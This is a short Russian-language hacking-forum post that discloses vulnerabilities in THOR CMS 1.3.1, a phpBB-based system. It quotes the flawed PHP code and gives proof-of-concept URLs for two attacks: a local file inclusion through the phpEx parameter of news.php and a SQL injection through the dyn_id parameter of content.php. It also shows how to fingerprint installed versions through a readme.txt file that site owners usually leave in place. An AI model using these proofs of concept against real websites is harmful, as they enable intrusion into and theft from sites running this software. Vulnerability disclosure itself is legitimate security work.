20.11.2009, 04:08
|
|
Участник форума
Регистрация: 18.07.2009
Сообщений: 272
С нами:
8850336
Репутация:
330
|
|
THOR CMS VERSION 1.3.1
THOR CMS VERSION 1.3.1
CMS - каким то кривым образом сделана на основе phpbb, а может и является ему дополнением (руки б оторвать тому кто его писал).
Local File Include in news.php:
register_globals = ON
PHP код:
...
include($phpbb_root_path . 'common.'.$phpEx);
...
PoC:
Код:
http://localhost/24/news.php?phpEx=./../FILE
SQL injection in content.php:
PHP код:
...
$dyn_id = $HTTP_GET_VARS['dyn_id'];
$sql = "SELECT * FROM " . CMS_DYN . " WHERE id = ".$dyn_id."";
...
PoC:
Код:
http://localhost/24/content.php?dyn_id=[SQL]
CMS VERSION:
Код:
http://localhost/24/readme.txt
Обычно этот файл НЕ удаляют!
Последний раз редактировалось Ins3t; 20.11.2009 в 23:21..
|
|
|